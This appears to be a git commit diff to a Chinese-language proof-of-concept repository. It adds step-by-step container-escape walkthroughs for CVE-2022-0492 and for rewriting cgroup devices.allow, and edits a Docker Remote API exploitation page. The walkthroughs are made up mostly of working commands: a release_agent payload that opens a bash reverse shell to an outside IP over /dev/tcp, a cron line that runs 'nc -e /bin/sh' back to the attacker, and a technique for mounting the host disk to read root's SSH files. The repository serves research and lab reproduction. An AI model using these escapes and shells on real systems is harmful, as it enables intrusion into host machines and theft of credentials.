update cgroup vulnerabilities

This commit is contained in:
Threekiii 2025-06-03 15:30:38 +08:00
parent 9bbf897d24
commit 9a597cd7d2
15 changed files with 341 additions and 11 deletions

View File

@ -740,6 +740,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
* Kubernetes 部署 Shadow API Server * Kubernetes 部署 Shadow API Server
* Kubernetes 部署后门 CronJob * Kubernetes 部署后门 CronJob
* Kubernetes 部署后门 Daemonset * Kubernetes 部署后门 Daemonset
* Linux 内核 cgroup v1 逻辑错误导致容器逃逸 CVE-2022-0492
* MinIO SSRF 漏洞 CVE-2021-21287 * MinIO SSRF 漏洞 CVE-2021-21287
* Nacos secret.key 默认密钥 未授权访问漏洞 * Nacos secret.key 默认密钥 未授权访问漏洞
* Nacos 未授权接口命令执行漏洞 CVE-2021-29442 * Nacos 未授权接口命令执行漏洞 CVE-2021-29442
@ -753,6 +754,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
* 挂载 docker.sock 导致容器逃逸 * 挂载 docker.sock 导致容器逃逸
* 挂载 log 目录导致容器逃逸 * 挂载 log 目录导致容器逃逸
* 挂载宿主机 procfs 系统导致容器逃逸 * 挂载宿主机 procfs 系统导致容器逃逸
* 挂载重写 cgroup devices.allow 导致容器逃逸
- 人工智能漏洞 - 人工智能漏洞
* browser-use WebUI pickle 反序列化漏洞 * browser-use WebUI pickle 反序列化漏洞

View File

@ -4,22 +4,18 @@
Docker 是一个开源的应用容器引擎,让开发者可以打包应用及依赖包到一个轻量级、可移植的容器中,然后发布到 Linux 机器上也可以实现虚拟化。Docker swarm 是 Docker 的集群管理工具,提供了标准的 Docker API。 Docker 是一个开源的应用容器引擎,让开发者可以打包应用及依赖包到一个轻量级、可移植的容器中,然后发布到 Linux 机器上也可以实现虚拟化。Docker swarm 是 Docker 的集群管理工具,提供了标准的 Docker API。
在使用 Docker swarm 的时候,管理的 Docker节点上会开放一个 TCP 端口 2375绑定在 0.0.0.0 上,直接 HTTP 访问会返回 “404 Not Found”。可以通过该 API 执行 Docker 命令,例如创建/删除 container、拉取 image、执行反弹 shell。 在使用 Docker swarm 的时候,管理的 Docker 节点上会开放一个 TCP 端口 2375绑定在 0.0.0.0 上,直接 HTTP 访问会返回 “404 Not Found”。可以通过该 API 执行 Docker 命令,例如创建/删除 container、拉取 image、执行反弹 shell。
参考链接:
- [http://www.loner.fm/drops/#!/drops/1203.%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8](http://www.loner.fm/drops/#!/drops/1203.新姿势之Docker Remote API未授权访问漏洞分析和利用)
## 环境搭建 ## 环境搭建
Vulhub编译及启动漏洞环境 Vulhub 编译及启动漏洞环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
环境启动后将监听2375端口。 环境启动后,将监听 2375 端口。
## 漏洞复现 ## 漏洞复现
@ -69,7 +65,7 @@ ssh-keygen -t rsa
#### 反弹 shell #### 反弹 shell
随意启动一个容器,并将宿主机的`/etc`目录挂载到容器中便可以任意读写文件了。可以将命令写入crontab配置文件进行反弹shell。 随意启动一个容器,并将宿主机的 `/etc` 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹 shell。
``` ```
import docker import docker
@ -78,13 +74,13 @@ client = docker.DockerClient(base_url='http://[docker ip]:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc [your ip] 2333 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc [your ip] 2333 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
``` ```
监听2333端口接收反弹shell。 监听 2333 端口,接收反弹 shell。
此处的反弹shell需要和/etc/crontabs/root文件同时写入不能后续追加。 此处的反弹 shell 需要和/etc/crontabs/root 文件同时写入,不能后续追加。
![image-20220222182515581](images/202202221825647.png) ![image-20220222182515581](images/202202221825647.png)
## 漏洞EXP ## 漏洞 EXP
```python ```python
from __future__ import print_function from __future__ import print_function

View File

@ -0,0 +1,160 @@
# Linux 内核 cgroup v1 逻辑错误导致容器逃逸 CVE-2022-0492
## 漏洞描述
该漏洞是由于 control groupscgroups中的一个逻辑错误所致。Control Groupscgroups是一个 Linux 特性允许管理员限制、记录和隔离一组进程所使用的资源。Linux 支持两种 cgroup 架构,分别名为 cgroup v1 和 cgroup v2该漏洞只影响 cgroup v1 架构。
如果容器运行了以下操作,则可逃逸:
- 以 root 用户身份运行,或没有为容器进程设置 [no_new_privs](https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/security-context/) 标志;
- 没有启用 AppArmor 或 [SELinux](https://www.redhat.com/en/topics/linux/what-is-selinux#:~:text=Security%2DEnhanced%20Linux%20\(SELinux\),Linux%20Security%20Modules%20\(LSM\).) 进行保护;
- 没有启用  [Seccomp](https://docs.docker.com/engine/security/seccomp/)  进行保护;
- 在启用了非特权用户命名空间的主机上运行;
- 隶属于 root v1 cgroup。
或满足下列条件,则可逃逸:
- 具有 CAP_SYS_ADMIN 权限;
- 没有启用 AppArmor 或 SELinux 进行保护;
- 没有创建 cgroup 命名空间;
- 隶属于 root v1 cgroup。
参考链接:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0492
- https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/
- http://terenceli.github.io/技术/2022/03/06/cve-2022-0492
- https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
- https://github.com/Metarget/metarget
## 环境搭建
基础环境准备Docker + Minikube + Kubernetes可参考 [Kubernetes + Ubuntu 18.04 漏洞环境搭建](https://github.com/Threekiii/Awesome-POC/blob/master/%E4%BA%91%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/Kubernetes%20%2B%20Ubuntu%2018.04%20%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md) 完成。
本例中各组件版本如下:
```
Docker version: 19.03.6
```
Linux 内核版本 `5.4.0-84-generic`
```
uname -a
Linux ubuntu 5.4.0-84-generic #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
```
![](images/Linux%20内核%20cgroup%20v1%20逻辑错误导致容器逃逸%20CVE-2022-0492/image-20250603105827303.png)
## 漏洞复现
创建禁用了 AppArmor 和 Seccomp 的容器:
```
docker run -it --name cve-2022-0492 --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:latest /bin/bash
```
AppArmor 和 SELinux 都会阻止挂载,这意味着使用其中任何一种方式运行的容器都受到保护 。如果两者皆禁用,容器可以通过滥用用户命名空间来挂载 cgroupfs。
挂载 cgroupfs 需要在托管当前 cgroup 命名空间的用户命名空间中拥有 `CAP_SYS_ADMIN` 权限。默认情况下,容器运行时没有 `CAP_SYS_ADMIM` 权限 ,因此无法在初始用户命名空间中挂载 cgroupfs。但是通过 `unshare()` 系统调用,容器可以创建新的用户和 cgroup 命名空间,并在这些命名空间中拥有 `CAP_SYS_ADMIN` 权限并可以挂载 cgroupfs
- 第一步,创建一个新的用户和 cgroup 命名空间,它将具有 `CAP_SYS_ADMIN` 权限:
```
root@0c782b51c5ac:/# unshare -UrmC bash
```
>并非所有容器都能创建新的用户命名空间—— 宿主机必须启用非特权用户命名空间 。在最近的 Ubuntu 版本中,这是默认设置。由于 Seccomp 会阻止 `unshare()` 系统调用, 因此只有在未启用 Seccomp 的情况下运行的容器才能创建新的用户命名空间 。
- 第二步,容器在新的用户和 cgroup 命名空间中挂载 root RDMA cgroup
```
root@0c782b51c5ac:/# mount -it cgroup -o rdma cgroup /mnt
```
- 第三步,在 cgroup 中创建一个名为 `w` 的子组,开启 release agent设置 `notify_on_release=1`
```
root@0c782b51c5ac:/# d=`dirname $(ls -x /mnt/r* |head -n1)`
root@0c782b51c5ac:/# mkdir -p $d/w;echo 1 >$d/w/notify_on_release
```
- 第四步,从 `/etc/mtab` 中提取 cgroup 临时路径,将 `exp.sh` 路径写入 `/mnt/release_agent`
```
root@0c782b51c5ac:/# t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@0c782b51c5ac:/# printf '#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.43.149/9999 0>&1' > /exp.sh; chmod 777 /exp.sh
root@0c782b51c5ac:/# echo "$t/exp.sh" > $d/release_agent
```
![](images/Linux%20内核%20cgroup%20v1%20逻辑错误导致容器逃逸%20CVE-2022-0492/image-20250603111941141.png)
![](images/Linux%20内核%20cgroup%20v1%20逻辑错误导致容器逃逸%20CVE-2022-0492/image-20250603113252638.png)
- 第五步e创建一个马上终止的进程`w` 子组的最后一个进程退出时,将激活 `/mnt/release_agent`
```
root@0c782b51c5ac:/# sh -c "echo 0 >$d/w/cgroup.procs"
```
![](images/Linux%20内核%20cgroup%20v1%20逻辑错误导致容器逃逸%20CVE-2022-0492/image-20250603110039518.png)
监听 9999 端口,获取反弹 shell
![](images/Linux%20内核%20cgroup%20v1%20逻辑错误导致容器逃逸%20CVE-2022-0492/image-20250603103539046.png)
也可以通过 [CDK](https://github.com/cdk-team/CDK) 复现。下载 CDK ,并将其传入容器 `/tmp` 目录下,执行命令:
```
./cdk run mount-cgroup "whoami" rdma
```
![](images/Linux%20内核%20cgroup%20v1%20逻辑错误导致容器逃逸%20CVE-2022-0492/image-20250603115127954.png)
> 注意cdk 默认为 memory cgroup权限不足需要指定为 rdma。
![](images/Linux%20内核%20cgroup%20v1%20逻辑错误导致容器逃逸%20CVE-2022-0492/image-20250603115247636.png)
## 漏洞 POC
[can-ctr-escape-cve-2022-0492.sh](https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492/blob/main/can-ctr-escape-cve-2022-0492.sh)
```shell
#!/bin/bash
echo "[*] Testing whether CVE-2022-0492 can be exploited for container escape"
# Setup test dir
test_dir=/tmp/.cve-2022-0492-test
if ! mkdir -p $test_dir ; then
echo "ERROR: failed to create test directory at $test_dir"
exit 1
fi
# Test whether escape via CAP_SYS_ADMIN is possible
if mount -t cgroup -o memory cgroup $test_dir >/dev/null 2>&1 ; then
if test -w $test_dir/release_agent ; then
echo "[!] Exploitable: the container can escape as it possesses CAP_SYS_ADMIN and runs without AppArmor or SELinux. Note that it likely doesn't need CVE-2022-0492 to escape."
umount $test_dir && rm -rf $test_dir
exit 0
fi
umount $test_dir
fi
# Test whether escape via user namespaces is possible
while read -r subsys
do
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $test_dir 2>&1 >/dev/null && test -w $test_dir/release_agent" >/dev/null 2>&1 ; then
echo "[!] Exploitable: the container can abuse user namespaces to escape"
rm -rf $test_dir
exit 0
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
# Cannot escape via either method
rm -rf $test_dir
echo "[+] Contained: cannot escape via CVE-2022-0492"
```
## 漏洞修复
- 升级补丁 https://access.redhat.com/security/cve/cve-2022-0492

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 258 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 364 KiB

View File

@ -0,0 +1,172 @@
# 挂载重写 cgroup devices.allow 导致容器逃逸
## 漏洞描述
在具有 `CAP_SYS_ADMIN` 权限的容器中,通过挂载并重写容器内的 `/sys/fs/cgroup/devices/devices.allow` 文件,解除 cgroup 设备访问限制,从而逃逸特权容器并访问宿主机内的文件。
devices 子系统用于配制允许或者阻止 cgroup 中的 task 访问某个设备,起到黑白名单的作用,主要包含以下文件:
1. devices.allowcgroup 中的 task 能够访问的设备列表,格式为 `type major:minor access`
2. devices.denycgroup 中任务不能访问的设备,和上面的格式相同
3. devices.list列出 cgroup 中设备的黑名单和白名单
漏洞利用原理:
1. 创建空目录挂载 cgroup devices 子系统
2. 确定当前容器对应的子 cgroup 位置
3. 设置其 devices.allow 文件为 `a`,表示所有设备均可访问
4. 获得宿主机的设备 major 和 minor
5. 通过 mknod 根据设备 major 和 minor 手动创建设备文件
6. 利用 debugfs 或直接挂载设备文件访问宿主机文件
7. 设置宿主机定时任务等方式反弹 shell
参考链接:
- https://github.com/cdk-team/CDK/wiki/Exploit:-rewrite-cgroup-devices
- https://blog.nsfocus.net/docker/
## 环境搭建
基础环境准备Docker + Minikube + Kubernetes可参考 [Kubernetes + Ubuntu 18.04 漏洞环境搭建](https://github.com/Threekiii/Awesome-POC/blob/master/%E4%BA%91%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/Kubernetes%20%2B%20Ubuntu%2018.04%20%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md) 完成。
本例中各组件版本如下:
```
Docker version: 18.09.3
minikube version: v1.35.0
Kubectl Client Version: v1.32.3
Kubectl Server Version: v1.32.0
```
通过 yaml 文件创建漏洞环境:
```
kubectl apply -f k8s_metarget_namespace.yaml
kubectl apply -f cap_sys_admin-container.yaml
```
执行完成后K8s 集群内 `metarget` 命名空间下将会创建一个名为 `cap-sys-admin-container` 的 pod
```
kubectl get pods -n metarget
-----
NAME READY STATUS RESTARTS AGE
cap-sys-admin-container 1/1 Running 0 55s
```
![](images/挂载重写%20cgroup%20devices.allow%20导致容器逃逸/image-20250603142938639.png)
## 漏洞复现
进入 pod 进行漏洞利用:
```
kubectl exec -n metarget -it cap-sys-admin-container -- /bin/bash
```
- 第一步,创建空目录挂载 cgroup devices 子系统:
```
root@cap-sys-admin-container:/# mkdir /tmp/dev && mount -t cgroup -o devices devices /tmp/dev
```
- 第二步,确定当前容器对应的子 cgroup 位置:
```shell
# 通过 docker info | grep -i cgroup 查看 Cgroup Driver
# Cgroup Driver: cgroupfs 驱动则执行:
root@cap-sys-admin-container:/# cat /proc/self/cgroup | grep docker | head -1 | sed 's/.*\/docker\/\(.*\)/\1/g'
f873f626e2cbc74eeae5c2b5c624f7fe1ed92e26b37a244d30d70403a1802ee8/kubepods/besteffort/pod0b4bfb60-28b0-42bf-8ec4-6907aa6fe271/8233389d820eb154868c9d14dfe6c902202003b24e53a77811ecf9c8daf0776a
root@cap-sys-admin-container:/# cd /tmp/dev/docker/f873f626e2cbc74eeae5c2b5c624f7fe1ed92e26b37a244d30d70403a1802ee8/kubepods/besteffort/pod0b4bfb60-28b0-42bf-8ec4-6907aa6fe271/8233389d820eb154868c9d14dfe6c902202003b24e53a77811ecf9c8daf0776a
# Cgroup Driver: systemd 驱动则执行:
mount -l | grep kubepods
-----
cgroup on /sys/fs/cgroup/systemd/kubepods.slice/kubepods-burstable.slice/xxx type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd)
-----
cd /tmp/dev/kubepods.slice/kubepods-burstable.slice/xxx
```
- 第三步,设置其 devices.allow 文件为 `a`,表示所有设备均可访问:
```
root@cap-sys-admin-container:/tmp/dev/docker/f873f626e2cbc74eeae5c2b5c624f7fe1ed92e26b37a244d30d70403a1802ee8/kubepods/besteffort/podeda81e29-d18b-
45e5-af93-1ba96c6f02e1/979a724c1ad544b8bbd8bbb8ec6ce2ca1f61ffe3ddd9088c8242d7238a7a647b# echo a > devices.allow && cd /tmp
```
- 第四步,获得宿主机的设备 major 和 minor
```
root@cap-sys-admin-container:/tmp# cat /proc/self/mountinfo | grep /etc | awk '{print $3,$8}' | head -1
8:1 ext4
```
- 第五步,通过 mknod 根据设备 major 和 minor 手动创建设备文件:
```
root@cap-sys-admin-container:/tmp# mknod host b 8 1
```
- 第六步,利用 debugfs 或直接挂载设备文件访问宿主机文件:
```
root@cap-sys-admin-container:/tmp# debugfs host
debugfs: ls -l /root/.ssh
6291704 40755 (2) 0 0 4096 21-Apr-2025 09:59 .
6291457 40700 (2) 0 0 4096 3-Jun-2025 06:26 ..
6291718 100644 (1) 0 0 553 21-Apr-2025 09:59 authorized_keys
```
```shell
# 如果是 ext2/ext3/ext4 文件系统,可以用 debugfs 查看目录
# 如果是 xfs 文件系统,不支持 debugfs需要挂载
root@cap-sys-admin-container:/tmp# mkdir /tmp/host_dir && mount host /tmp/host_dir
root@cap-sys-admin-container:/tmp# ls -l /tmp/host_dir/root/.ssh
```
![](images/挂载重写%20cgroup%20devices.allow%20导致容器逃逸/image-20250603152409473.png)
也可以通过 [CDK](https://github.com/cdk-team/CDK) 复现。下载 CDK ,将其传入容器
```
kubectl cp cdk cap-sys-admin-container:/ -n metarget
kubectl exec -n metarget -it cap-sys-admin-container -- chmod +x /cdk
```
![](images/挂载重写%20cgroup%20devices.allow%20导致容器逃逸/image-20250603143413513.png)
重写当前容器内的 `/sys/fs/cgroup/devices/devices.allow`,逃逸特权容器访问宿主机内的文件:
![](images/挂载重写%20cgroup%20devices.allow%20导致容器逃逸/image-20250603143435283.png)
## 环境复原
```
kubectl delete -f cap_sys_admin-container.yaml
kubectl delete -f k8s_metarget_namespace.yaml
```
## YAML
[cap_sys_admin-container.yaml](https://github.com/Metarget/metarget/blob/master/vulns_cn/configs/pods/cap_sys_admin-container.yaml)
```
apiVersion: v1
kind: Pod
metadata:
name: cap-sys-admin-container
namespace: metarget
annotations:
container.apparmor.security.beta.kubernetes.io/ubuntu: unconfined
spec:
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresent
securityContext:
capabilities:
add: ["SYS_ADMIN"]
# Just spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
```